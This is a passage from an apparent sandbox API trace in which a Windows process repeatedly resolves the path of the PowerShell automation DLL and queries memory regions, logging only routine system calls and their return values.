lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.049] GetLastError () returned 0x0 [0058.050] VirtualQuery (in: lpAddress=0x25cde4, lpBuffer=0x25dde4, dwLength=0x1c | out: lpBuffer=0x25dde4*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.051] VirtualQuery (in: lpAddress=0x25ce20, lpBuffer=0x25de20, dwLength=0x1c | out: lpBuffer=0x25de20*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.051] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.051] GetLastError () returned 0x0 [0058.051] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.051] GetLastError () returned 0x0 [0058.051] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.051] GetLastError () returned 0x0 [0058.051] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.051] GetLastError () returned 0x0 [0058.051] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.051] GetLastError () returned 0x0 [0058.051] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.052] GetLastError () returned 0x0 [0058.052] VirtualQuery (in: lpAddress=0x25d150, lpBuffer=0x25e150, dwLength=0x1c | out: lpBuffer=0x25e150*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.052] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.052] GetLastError () returned 0x0 [0058.052] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.052] GetLastError () returned 0x0 [0058.052] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.052] GetLastError () returned 0x0 [0058.052] VirtualQuery (in: lpAddress=0x25d150, lpBuffer=0x25e150, dwLength=0x1c | out: lpBuffer=0x25e150*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.052] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.052] GetLastError () returned 0x0 [0058.052] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.052] GetLastError () returned 0x0 [0058.052] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.053] GetLastError () returned 0x0 [0058.053] VirtualQuery (in: lpAddress=0x25d150, lpBuffer=0x25e150, dwLength=0x1c | out: lpBuffer=0x25e150*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.053] VirtualQuery (in: lpAddress=0x25d0e8, lpBuffer=0x25e0e8, dwLength=0x1c | out: lpBuffer=0x25e0e8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.053] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.054] VirtualQuery (in: lpAddress=0x25d0e8, lpBuffer=0x25e0e8, dwLength=0x1c | out: lpBuffer=0x25e0e8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.055] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.055] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.055] VirtualQuery (in: lpAddress=0x25d0e8, lpBuffer=0x25e0e8, dwLength=0x1c | out: lpBuffer=0x25e0e8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.055] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.055] VirtualQuery (in: lpAddress=0x25d0e8, lpBuffer=0x25e0e8, dwLength=0x1c | out: lpBuffer=0x25e0e8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.055] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.056] VirtualQuery (in: lpAddress=0x25d0e8, lpBuffer=0x25e0e8, dwLength=0x1c | out: lpBuffer=0x25e0e8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.057] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.057] VirtualQuery (in: lpAddress=0x25cf8c, lpBuffer=0x25df8c, dwLength=0x1c | out: lpBuffer=0x25df8c*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.057] VirtualQuery (in: lpAddress=0x25d0e8, lpBuffer=0x25e0e8, dwLength=0x1c | out: lpBuffer=0x25e0e8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.058] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.058] VirtualQuery (in: lpAddress=0x25d0e8, lpBuffer=0x25e0e8, dwLength=0x1c | out: lpBuffer=0x25e0e8*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.058] VirtualQuery (in: lpAddress=0x25d124, lpBuffer=0x25e124, dwLength=0x1c | out: lpBuffer=0x25e124*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.058] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x5afefcbc, Data2=0x96fe, Data3=0x461f, Data4=([0]=0x89, [1]=0x52, [2]=0xd8, [3]=0xf, [4]=0x81, [5]=0x56, [6]=0x2f, [7]=0xee))) returned 0x0 [0058.059] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.059] GetLastError () returned 0x0 [0058.059] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.059] GetLastError () returned 0x0 [0058.059] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.059] GetLastError () returned 0x0 [0058.059] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.059] GetLastError () returned 0x0 [0058.059] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.059] GetLastError () returned 0x0 [0058.059] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25db58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.059] GetLastError () returned 0x0 [0058.059] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.059] GetLastError () returned 0x0 [0058.059] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.059] GetLastError () returned 0x0 [0058.059] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.059] GetLastError () returned 0x0 [0058.060] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d970, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.060] GetLastError () returned 0x0 [0058.060] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.060] GetLastError () returned 0x0 [0058.060] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d920, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.060] GetLastError () returned 0x0 [0058.060] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.060] GetLastError () returned 0x0 [0058.060] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.060] GetLastError () returned 0x0 [0058.060] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.060] GetLastError () returned 0x0 [0058.060] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.060] GetLastError () returned 0x0 [0058.060] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.060] GetLastError () returned 0x0 [0058.060] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.060] GetLastError () returned 0x0 [0058.060] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.060] GetLastError () returned 0x0 [0058.061] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.061] GetLastError () returned 0x0 [0058.061] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.061] GetLastError () returned 0x0 [0058.061] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.061] GetLastError () returned 0x0 [0058.061] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.061] GetLastError () returned 0x0 [0058.061] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.061] GetLastError () returned 0x0 [0058.061] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.061] GetLastError () returned 0x0 [0058.061] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.061] GetLastError () returned 0x0 [0058.061] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.061] GetLastError () returned 0x0 [0058.061] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.061] GetLastError () returned 0x0 [0058.061] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.061] GetLastError () returned 0x0 [0058.062] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.062] GetLastError () returned 0x0 [0058.062] VirtualQuery (in: lpAddress=0x25d150, lpBuffer=0x25e150, dwLength=0x1c | out: lpBuffer=0x25e150*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.062] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.062] GetLastError () returned 0x0 [0058.062] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.062] GetLastError () returned 0x0 [0058.062] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.062] GetLastError () returned 0x0 [0058.062] VirtualQuery (in: lpAddress=0x25d150, lpBuffer=0x25e150, dwLength=0x1c | out: lpBuffer=0x25e150*(BaseAddress=0x25d000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.062] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.062] GetLastError () returned 0x0 [0058.062] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 